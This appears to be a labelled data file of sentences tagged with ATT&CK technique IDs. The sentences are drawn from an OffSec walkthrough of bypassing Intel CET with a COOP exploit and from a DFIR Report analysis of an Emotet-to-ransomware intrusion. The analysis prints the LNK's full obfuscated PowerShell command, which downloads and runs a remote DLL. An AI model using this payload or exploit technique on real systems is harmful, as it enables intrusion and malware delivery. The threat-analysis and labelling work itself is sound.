{"sentence": "[C:\\Users\\uf0\\source\\repos\\COOP\\COOP\\coop.cpp @ 54] 02 (Inline Function) --------`-------- coop!invoke_main+0x22", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects  OffSec"}
{"sentence": "[D:\\a\\_work\\1\\s\\src\\vctools\\crt\\vcstartup\\src\\startup\\exe_common.inl @ 78] 03 00000000`0014fef0 00007ffb`ec0a7034 coop!__scrt_common_main_seh+0x10c", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects  OffSec"}
{"sentence": "[D:\\a\\_work\\1\\s\\src\\vctools\\crt\\vcstartup\\src\\startup\\exe_common.inl @ 288] 04 00000000`0014ff30 00007ffb`ecba2651 KERNEL32!BaseThreadInitThunk+0x14 05", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects  OffSec"}
{"sentence": "00000000`0014ff60", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects  OffSec"}
{"sentence": "00000000`00000000", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects  OffSec"}
{"sentence": "ntdll!RtlUserThreadStart+0x21 0:000> dq 00000000`0014fde8 L1 00000000`0014fde8", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects  OffSec"}
{"sentence": "00000001`400180e8 0:000> eq 00000000`0014fde8", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects  OffSec"}
{"sentence": "414141414141 0:000> dq 00000000`0014fde8 L1 00000000`0014fde8 00004141`414141411 0:000>", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects  OffSec"}
{"sentence": "g (16c0.f68): Security check failure or stack buffer overrun - code c0000409 (!!!", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects  OffSec"}
{"sentence": "second chance !!!)", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects  OffSec"}
{"sentence": "Subcode: 0x39 FAST_FAIL_CONTROL_INVALID_RETURN_ADDRESS Shadow stack violation coop!printf+0x56: 00000001`400187e6 c3 ret Verifying that CET is enforced We get confirmation that CET is enabled as we are immediately prompted with a Shadow Stack exception referring to an invalid return address.", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects  OffSec"}
{"sentence": "As CET is a hardware-enforced mitigation, in order to trigger the above error we would need at least an 11th Generation Core ‘Tiger Lake’ CPU To simulate a browser vulnerability, we can obtain RIP control by taking advantage of a type confusion vulnerability in the application that is triggered automatically when the application is executed.", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects  OffSec"}
{"sentence": "We then hijack the vtable to make it point to our COOP buffer where our first (and only) vfgadget resides.", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects  OffSec"}
{"sentence": "As mentioned earlier, instead of using a Looper with nested vfgadget, for the sake of brevity, we opted to use a single gadget that features both the Invoker and Argument Loader components.", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects  OffSec"}
{"sentence": "As part of the automated part of the exploit, in order to obtain the vfgadget’s this pointer, we have leaked the stack pointer and retrieved the this pointer as a static offset from the stack.", "labels": ["T1055"], "doc_title": "Bypassing Intel CET with Counterfeit Objects  OffSec"}
{"sentence": "Once we have obtained the this pointer address, we prepare the address of the Windows API we want to invoke along with its arguments.", "labels": ["T1106"], "doc_title": "Bypassing Intel CET with Counterfeit Objects  OffSec"}
{"sentence": "This is done by writing both the Windows API address and the arguments at the required offsets inside the counterfeit object.", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects  OffSec"}
{"sentence": "Before exploring the COOP payload in more detail, let’s first understand the PoC’s syntax by running it without any arguments.", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects  OffSec"}
{"sentence": "C:\\Users\\offsec\\source\\repos\\COOP\\x64\\Debug>coop.exe [-] SYNTAX: coop.exe <", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects  OffSec"}
{"sentence": "COOP obj ptr> <1st vfgadget> <WinAPI> <API argument>", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects  OffSec"}
{"sentence": "Let’s first inspect the C++ code of the object related to our vfgadget, and then explore its corresponding assembly from the compiled binary: class OffSec { public: char* a; int (*callback)(char* a);", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects  OffSec"}
{"sentence": "Then, the ‘OffSec’ class is instantiated in the main program routine so it gets loaded in memory along with its methods.", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects  OffSec"}
{"sentence": "Taking a closer look at the Invoker in the disassembler reveals a few interesting aspects.", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects  OffSec"}
{"sentence": "Invoker vfgadger Starting from the second to the fourth line, the this pointer, referenced by RCX, is first stored on the stack and then moved into RAX.", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects  OffSec"}
{"sentence": "Next, the value at offset 0x10 from RAX is dereferenced and moved into RAX.", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects  OffSec"}
{"sentence": "This value will be the API function pointer residing in our counterfeit object.", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects  OffSec"}
{"sentence": "Then at line 7 and 8 the first function argument is dereferenced at offset 0x8 from the this pointer and moved into RCX.", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects  OffSec"}
{"sentence": "As we’ll soon discover, the vulnerable application will take care of these offsets once we have submitted the parameters from the command line.", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects  OffSec"}
{"sentence": "Having covered the main building blocks of our attack chain, let’s try to run the PoC by passing the four arguments in order to gain code execution: C:\\> coop.exe 00001e000000", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects  OffSec"}
{"sentence": "5086014001000000 40610fecfb7f0000 \"cmd.exe /C calc\" Running the PoC application with all parameters With the above command we provided the following parameters:00001e000000 as a storage buffer for our counterfeit object,5086014001000000 as the Invoker vfgadget in addition to40610fecfb7f0000 which is the WinExec memory address.", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects  OffSec"}
{"sentence": "As a final argument we pass the WinExec string argument.", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects  OffSec"}
{"sentence": "Note that all memory addresses are passed in little-endian format.", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects  OffSec"}
{"sentence": "Before doing so, we launch Process Explorer to verify that the binary is actually running with Intel CET enabled.", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects  OffSec"}
{"sentence": "Verifying that CET is enabled with Process Explorer Under the “Stack Protection” column, Process Explorer confirms that CET is enforced for only the CET-compatible modules, meaning that the mitigation will be enforced for any module compiled with CET.", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects  OffSec"}
{"sentence": "This includes our application.", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects  OffSec"}
{"sentence": "Once the debugger is attached, we place a breakpoint to the only indirect call present in the main function and continue execution.", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects  OffSec"}
{"sentence": "0:001> bp 00000001`4001847e 0:001>", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects  OffSec"}
{"sentence": "bl 0 e", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects  OffSec"}
{"sentence": "Disable Clear 00000001`4001847e 0001 (0001) 0", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects  OffSec"}
{"sentence": ":**** coop!main+0x3d2 0:001> u 00000001`4001847e L1 coop!main+0x3d2: 00000001`4001847e ff159cbb0a00 call qword ptr", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects  OffSec"}
{"sentence": "[coop!__guard_dispatch_icall_fptr (00000001`400c4020)] 0:000> dq 0x1e0000 L1 00000000`001e0000 00000001`400186a0 0:001>", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects  OffSec"}
{"sentence": "g Breaking at the Indirect Call We placed a breakoint at main+0x3d2 and verified that we have indeed an indirect call at that address.", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects  OffSec"}
{"sentence": "Next we dump the content of our counterfeit object located at the static address 0x1e0000, which holds a pointer to our vfgadget at 00000001400186a0 At main+0x3d2 is where the type confusion bug ignites and allows us to take control over RIP.", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects  OffSec"}
{"sentence": "As soon as we hit the breakpoint we inspect the value residing at our COOP buffer, which should be the first Invoker vfgadget.", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects  OffSec"}
{"sentence": "00007ffb`ecbdc620 4c8b1d814d0f00 mov r11,qword ptr [ntdll!LdrSystemDllInitBlock+0xb8 (00007ffb`eccd13a8)]", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects  OffSec"}
{"sentence": "ds:00007ffb`eccd13a8=00007df600000000 0:000> ntdll!LdrpDispatchUserCallTarget+0x23: 00007ff8`7c5fc643 48ffe0 jmp rax {coop!OffSec::trigger (00000001`400186a0)} ...", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects  OffSec"}
{"sentence": "[rsp+10h],rdx ss:00000000`0014fdf8=0000000000612b77 Landing on the first COOP vfgadget After tracing into the CFG LdrpDispatchUserCallTarge routine", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects  OffSec"}
{"sentence": "we jump to the Invoker vfgadget ‘OffSec::trigger”, proving that we have control over the program’s execution flow.", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects  OffSec"}
{"sentence": "We then continue tracing inside the vfgadget:", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects  OffSec"}
{"sentence": "0:000> t ... coop!OffSec::trigger+0x5:", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects  OffSec"}
{"sentence": "00000001`40018655 48894c2408 mov qword ptr", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects  OffSec"}
{"sentence": "[rsp+8],rcx ss:00000000`0014fdf0=00000001400a1108 0:000> dq rcx L1", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects  OffSec"}
{"sentence": "00000000`00590d80 00000000`001e0000 0:000> t coop!OffSec::trigger+0xa:", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects  OffSec"}
{"sentence": "On the last instruction the ‘this’ pointer is loaded into RAX, which will be used as a reference to invoke the API and its argument: 0:000>", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects  OffSec"}
{"sentence": "coop!OffSec::trigger+0x13: 00000001`40018663 488b4010 mov rax,qword ptr [rax+10h] ds:00000000`00590d90={KERNEL32!WinExec (00007ffb`ec0f6140)} 0:000>", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects  OffSec"}
{"sentence": "coop!OffSec::trigger+0x17: 00000001`40018667 4889442420 mov qword ptr [rsp+20h],rax ss:00000000`0014fdd0=000000000000001f 0:000> coop!OffSec::trigger+0x1c: 00000001`4001866c 488b442440 mov rax,qword ptr [rsp+40h] ss:00000000`0014fdf0=0000000000590d80 0:000> coop!OffSec::trigger+0x21: 00000001`40018671 488b4808 mov rcx,qword ptr [rax+8] ds:00000000`00590d88=00000000001e0080 0:000> dc 00000000001e0080 00000000`001e0080", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects  OffSec"}
{"sentence": "2e646d63 20657865 6320432f 00636c61 cmd.exe /C calc. ...", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects  OffSec"}
{"sentence": "Once we let execution continue, we invoke LdrpDispatchUserCallTarget again which in turn dispatches execution to WinExec and welcomes us with our calculator.", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects  OffSec"}
{"sentence": "Successfully Calling WinExec", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects  OffSec"}
{"sentence": "This completes our brief proof-of-concept where we demonstrated that we can bypass the Intel CET Shadow Stack and obtain arbitrary code execution via a COOP attack by calling CFG-allowed functions while simultaneously avoiding corrupting any return address.", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects  OffSec"}
{"sentence": "The Visual Studio project for this PoC application can be found at the following URL.", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects  OffSec"}
{"sentence": "Conclusions Intel CET provides yet another strong defensive mechanism that surely steps up the exploit development game.", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects  OffSec"}
{"sentence": "Nonetheless, new attack pathways such as COOP can be adopted to circumvent this mitigation.", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects  OffSec"}
{"sentence": "As we learned so far, COOP vfgadgets are inherently allowed by CFG and so, in a real-world scenario they could be chained together to circumvent Intel CET and possibly other CFI mitigations.", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects  OffSec"}
{"sentence": "About The Author Matteo Malvica Content Developer Matteo Malvica is a content developer at Offensive Security focusing on vulnerability research, exploit development, reverse engineering and operating system internals.", "labels": [], "doc_title": "Bypassing Intel CET with Counterfeit Objects  OffSec"}
{"sentence": "Emotet Strikes Again - LNK File Leads to Domain Wide Ransomware -", "labels": [], "doc_title": "Emotet Strikes Again  LNK File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "The DFIR Report url: https://thedfirreport.com/2022/11/28/emotet-strikes-again-lnk-file-leads-to-domain-wide-ransomware/", "labels": [], "doc_title": "Emotet Strikes Again  LNK File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "In June of 2022, we observed a threat actor gaining access to an environment via Emotet and operating over a eight day period.", "labels": [], "doc_title": "Emotet Strikes Again  LNK File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "Remote access tools were used for command and control, such as Tactical RMM and Anydesk.", "labels": ["T1219"], "doc_title": "Emotet Strikes Again  LNK File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "The threat actors final actions included data exfiltration using Rclone and domain wide deployment of Quantum Ransomware.", "labels": [], "doc_title": "Emotet Strikes Again  LNK File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "We have observed similar traits in previous cases where Emotet and Quantum were seen.", "labels": [], "doc_title": "Emotet Strikes Again  LNK File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "Case Summary The intrusion began when a user double clicked a LNK file, which then executed encoded Powershell commands to download an Emotet DLL onto the computer.", "labels": ["T1105", "T1204.002"], "doc_title": "Emotet Strikes Again  LNK File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "Once executed, Emotet setup a Registry Run Key to maintain persistence on the beachhead host.", "labels": ["T1547.001"], "doc_title": "Emotet Strikes Again  LNK File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "These commands would go on to be repeated daily by the Emotet process.", "labels": [], "doc_title": "Emotet Strikes Again  LNK File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "Around one and one-half hours after execution, Emotet began sending spam emails, mailing new malicious attachments to continue spreading.", "labels": ["T1566.001"], "doc_title": "Emotet Strikes Again  LNK File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "Similar activity continued over the second day, but on the third day of the incident, Emotet dropped a Cobalt Strike executable beacon onto the beachhead host.", "labels": [], "doc_title": "Emotet Strikes Again  LNK File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "The threat actor then moved laterally to a workstation.", "labels": [], "doc_title": "Emotet Strikes Again  LNK File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "They first attempted this action using a PowerShell beacon and a remote service on the host, but while the script did execute on the remote host, it appeared to fail to connect to the command and control server.", "labels": [], "doc_title": "Emotet Strikes Again  LNK File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "Once on this new host the threat actors proceeded to run the net commands to review the Domain Administrators group again.", "labels": ["T1059.003"], "doc_title": "Emotet Strikes Again  LNK File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "They then proceeded to dump credentials from the LSASS process on the host.", "labels": ["T1003.001"], "doc_title": "Emotet Strikes Again  LNK File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "With some further process injection they then began to enumerate SMB shares across the environment and on finding a primary file server reviewed several documents present on the server.", "labels": ["T1055"], "doc_title": "Emotet Strikes Again  LNK File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "This Cobalt Strike server stopped communicating shortly there after.", "labels": [], "doc_title": "Emotet Strikes Again  LNK File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "On the fourth day of the intrusion, Emotet dropped a new Cobalt Strike beacon.", "labels": [], "doc_title": "Emotet Strikes Again  LNK File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "Again, some net command discovery was run for domain admins and domain controller servers.", "labels": [], "doc_title": "Emotet Strikes Again  LNK File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "A flight of netlogon authentications were observed from the beachhead host to the domain controller as a possible attempt at exploiting the domain controller.", "labels": ["T1078", "T1570"], "doc_title": "Emotet Strikes Again  LNK File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "The threat actors, however, proceeded along a more traditional path, using SMB file transfers and remote services to move laterally across domain controllers and several other servers in the environment using Cobalt Strike beacon DLL’s.", "labels": ["T1570"], "doc_title": "Emotet Strikes Again  LNK File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "On the domain controller, the threat actors conducted further discovery tasks running find.bat and p.bat, which executed AdFind active directory discovery and performed a ping sweep across the environment.", "labels": ["T1059.003"], "doc_title": "Emotet Strikes Again  LNK File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "On one of the other targeted servers, the threat actors deployed Tactical RMM, a remote management agent, for additional access and persistence in the environment.", "labels": ["T1219"], "doc_title": "Emotet Strikes Again  LNK File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "From this server, the threat actors were observed using Rclone to exfiltrate data from a file share server in the environment.", "labels": [], "doc_title": "Emotet Strikes Again  LNK File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "The Mega.io service was the location the stolen data was sent.", "labels": [], "doc_title": "Emotet Strikes Again  LNK File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "On the fifth day of the intrusion, the threat actors appeared again to try and exfiltrate some data from the mail server again using Rclone but this appeared to fail and the threat actors did not try to resolve the issue.", "labels": [], "doc_title": "Emotet Strikes Again  LNK File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "On the eighth day of the intrusion the threat actor accessed the environment using Tactical RMM to deploy Anydesk on the compromised host.", "labels": ["T1219"], "doc_title": "Emotet Strikes Again  LNK File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "Finally, locker.dll and a batch file 1.bat were dropped on the host and the batch file was executed beginning the Quantum rasomware deployment to all hosts over SMB.", "labels": ["T1059.003", "T1570"], "doc_title": "Emotet Strikes Again  LNK File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "After ransomware deployment, the threat actors remained connected and did RDP to a few other servers and executed ProcessHacker.exe and a net command.", "labels": ["T1021.001"], "doc_title": "Emotet Strikes Again  LNK File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "With no other activity taking place, we assess that this was likely the threat actors confirming successful deployment of the ransomware payload across the network.", "labels": [], "doc_title": "Emotet Strikes Again  LNK File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "Services We offer multiple services including a Threat Feed service which tracks Command and Control frameworks such as Cobalt Strike, BumbleBee, Covenant, Metasploit, Empire, PoshC2, etc.", "labels": [], "doc_title": "Emotet Strikes Again  LNK File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "Both of the Cobalt Strike servers in this case were on our Threat Feed (days to months) in advance of this intrusion.", "labels": [], "doc_title": "Emotet Strikes Again  LNK File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "We also have artifacts and IOCs available from this case such as pcaps, memory captures, files, event logs including Sysmon, Kape packages, and more, under our Security Researcher and Organization services.", "labels": [], "doc_title": "Emotet Strikes Again  LNK File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "Timeline Report Lead: @iiamaleksAnalysis and reporting: @samaritan_o, and @yatinwad Initial Access Initial access took the form of an LNK file delivered to a victim through a MalSpam campaign.", "labels": [], "doc_title": "Emotet Strikes Again  LNK File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "The Powershell script embedded within the LNK is a Base64 encoded script with various components split into different variables for obfuscation purposes.", "labels": ["T1027"], "doc_title": "Emotet Strikes Again  LNK File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "The script will decode itself rather than depend on Powershell’s built-in ability to execute encoded scripts. ..", "labels": ["T1027", "T1140"], "doc_title": "Emotet Strikes Again  LNK File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "\\..\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -c \"&{'p8ArwZsj8ZO+Zy/dHPeI+siGhbaxtEhzwmd3zVObm9uG2CGKqz5m4AdzKWWzPmKrjJieG4O9';$BxQ='uYnIvc3RhdHMvUkppMnJRSTRRWHJXQ2ZnZG1pLyIsImh0dHBzOi8vd3d3LmVsYWJvcm8ucGwvaW1ncy9KWkgyR0lIdG9PNy8iLCJodHRwczovL2 VsLWVuZXJnaWFraS5nci93cC1pbmNsdWRlcy9JZHJWS09HWU1Rb2R1N0lsT0loLyIsImh0dHA6Ly9kcmVjaHNsZXJzdGFtbXRpc2NoLmRlL2ZvbnRzL1pBeVhic2YvIiwiaHR0cDovL2RobmNvbnN0cnVjY2lvbmVzLmNvbS5hci93cC1hZG1pbi9TbTAyWnNWRFlXZG9UYjdycUw vIiwiaHR0cDovL2RpbHNybC5jb20vcGhvbmUvcGZpcDVtLyIpOyR0PSJuZldGUSI7JGQ9IiRlbnY6VE1QXC4uXCR0Ijtta2RpciAtZm9yY2UgJGQgfCBvdXQtbnVsbDtmb3JlYWNoICgkdSBpbiAkbGlua3MpIHt0cnkge0lXUiAkdSAtT3V0RmlsZSAkZFxqeEtQSXJNRnhKLk9P ZjtSZWdzdnIzMi5leGUgIiRkXGp4S1BJck1GeEouT09mIjticmVha30gY2F0Y2ggeyB9fQ==';$KOKN='ICBXcml0ZS1Ib3N0ICJBcFBoUiI7JFByb2dyZXNzUHJlZmVyZW5jZT0iU2lsZW50bHlDb250aW51ZSI7JGxpbmtzPSgiaHR0cHM6Ly9kZXNjb250YWRvci5jb20';$KO KN=$KOKN+$BxQ;$GBUus=$KOKN;$xCyRLo=[System.Text.Encoding]::ASCII.GetString([System.", "labels": [], "doc_title": "Emotet Strikes Again  LNK File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "Convert]::FromBase64String($GBUus));$GBUus=$xCyRLo;iex($GBUus)}\" The Powershell script, when double clicked (executed), will attempt to connect to a set of domains containing the Emotet malware.", "labels": ["T1204.002"], "doc_title": "Emotet Strikes Again  LNK File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "Upon successful download of the Emotet malware, the PowerShell script will write it to a temporary directory and execute the payload via regsvr32.exe.", "labels": [], "doc_title": "Emotet Strikes Again  LNK File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "It is interesting to note, the LNK identifies the machine it was created on through the NetBIOS name of black-dog and a MAC Address beginning with 08:00:27 indicating a system running on Virtualbox.", "labels": [], "doc_title": "Emotet Strikes Again  LNK File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "Machine ID: black-dog MAC Address: 08:00:27:c6:74:5d MAC Vendor: PCS SYSTEMTECHNIK Creation: 2022-05-12 15:33:49 Execution Once the PowerShell script from the LNK file executed successfully", "labels": [], "doc_title": "Emotet Strikes Again  LNK File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "Multiple instances of Emotet spawning itself was observed over a period of three days.", "labels": [], "doc_title": "Emotet Strikes Again  LNK File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "nltest /dclist: Towards the third and fourth day of the intrusion, Cobalt Strike was dropped to disk as a PE executable and executed.", "labels": [], "doc_title": "Emotet Strikes Again  LNK File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "This access was used to perform enumeration and move laterally to other hosts.", "labels": [], "doc_title": "Emotet Strikes Again  LNK File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "Persistence The Emotet malware has used various persistence methods over time, an example can be seen here.", "labels": [], "doc_title": "Emotet Strikes Again  LNK File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "On the first day, Emotet established persistence via a run key.", "labels": ["T1547.001"], "doc_title": "Emotet Strikes Again  LNK File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "As we can see, the regsvr32.exe Windows’s native utility was used to launch the Emotet DLL.", "labels": [], "doc_title": "Emotet Strikes Again  LNK File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "After moving to the hands on keyboard phase of the intrusion, the threat actors proceeded to deploy several remote management tools across the environment.", "labels": ["T1219"], "doc_title": "Emotet Strikes Again  LNK File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "Tactical RMM was the first tool chosen for deployment.", "labels": [], "doc_title": "Emotet Strikes Again  LNK File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "Tactical RMM is a remote management software platform that uses a combination of agents to allow for remote management and access to systems.", "labels": ["T1219"], "doc_title": "Emotet Strikes Again  LNK File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "The file 17jun.exe, was deployed into the programdata folder on one of the servers.", "labels": [], "doc_title": "Emotet Strikes Again  LNK File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "This was then executed by the threat actors and resulted in the installation of the main RMM agent.", "labels": [], "doc_title": "Emotet Strikes Again  LNK File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "The install completed with the following command.", "labels": [], "doc_title": "Emotet Strikes Again  LNK File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "A service was also created for the agent.", "labels": ["T1543.003"], "doc_title": "Emotet Strikes Again  LNK File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "Event 7045A service was installed in the system.", "labels": ["T1543.003"], "doc_title": "Emotet Strikes Again  LNK File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "Service Name: TacticalRMM Agent ServiceService File Name: \"C:\\Program Files\\TacticalAgent\\tacticalrmm.exe\"", "labels": [], "doc_title": "Emotet Strikes Again  LNK File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "LocalSystem Along with the tacticalrmm.exe client, a second executable called meshagent.exe, was installed to handle remote session interaction, and a separate service was created for that agent.", "labels": ["T1543.003"], "doc_title": "Emotet Strikes Again  LNK File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "Service Name: Mesh AgentService File Name: \"C:\\Program Files\\Mesh Agent\\MeshAgent.exe\"Service Type: user mode serviceService Start Type: auto startService Account:", "labels": ["T1543.003"], "doc_title": "Emotet Strikes Again  LNK File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "LocalSystem On the final day of the intrusion, the threat actors added AnyDesk to the same server running Tactical RMM, providing an additional means of access prior to the deployment of ransomware.", "labels": ["T1219", "T1543.003"], "doc_title": "Emotet Strikes Again  LNK File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "Service Name: AnyDesk ServiceService File Name: \"C:\\Program Files (x86)\\AnyDesk\\AnyDesk.exe\" --serviceService", "labels": ["T1543.003"], "doc_title": "Emotet Strikes Again  LNK File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "Type: user mode serviceService Start Type: auto startService Account:", "labels": ["T1543.003"], "doc_title": "Emotet Strikes Again  LNK File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "LocalSystem Privilege Escalation We suspect a failed ZeroLogon exploit was attempted against a domain controller, originating from the beachhead host with Cobalt Strike running on it.", "labels": ["T1543.003"], "doc_title": "Emotet Strikes Again  LNK File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "One indicator is the ‘mimikatz’ string in the Netlogon event that is used by the Mimikatz Zerologon implementation.", "labels": ["T1003.001"], "doc_title": "Emotet Strikes Again  LNK File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "Defense Evasion Process Injection The threat actor was observed process injecting into legitimate process and using them to execute their own tasks on the system, this can be seen from Winlogon connecting to a domain associated with a Cobalt Strike server and removing files from the system.", "labels": ["T1055", "T1070.004"], "doc_title": "Emotet Strikes Again  LNK File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "The specific mechanism used to inject into a foreign process, was injecting arbitrary code into its memory space, and executing it as a remotely created thread.", "labels": ["T1055"], "doc_title": "Emotet Strikes Again  LNK File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "This occurred from rundll32.exe, which was previously used to execute and run Cobalt Strike.", "labels": ["T1218.011"], "doc_title": "Emotet Strikes Again  LNK File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "The following table summarizes the processes used for injection during this case: Injected Process Name Injection Payload C:\\Windows\\system32\\winlogon.exe Cobalt Strike C:\\Windows\\System32\\RuntimeBroker.exe Cobalt Strike C:\\Windows\\System32\\svchost.exe Cobalt Strike C:\\Windows\\System32\\taskhostw.exe Cobalt Strike C:\\Windows\\system32\\dllhost.exe Cobalt Strike PowerTool PowerTool was observed, dropped and executed on the server used to deploy the ransomware payload.", "labels": ["T1055", "T1105"], "doc_title": "Emotet Strikes Again  LNK File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "This tool has the ability to kill a process, delete its process file, unload drivers, and delete the driver files.", "labels": ["T1070.004"], "doc_title": "Emotet Strikes Again  LNK File Leads to Domain Wide Ransomware  The DFIR Report"}
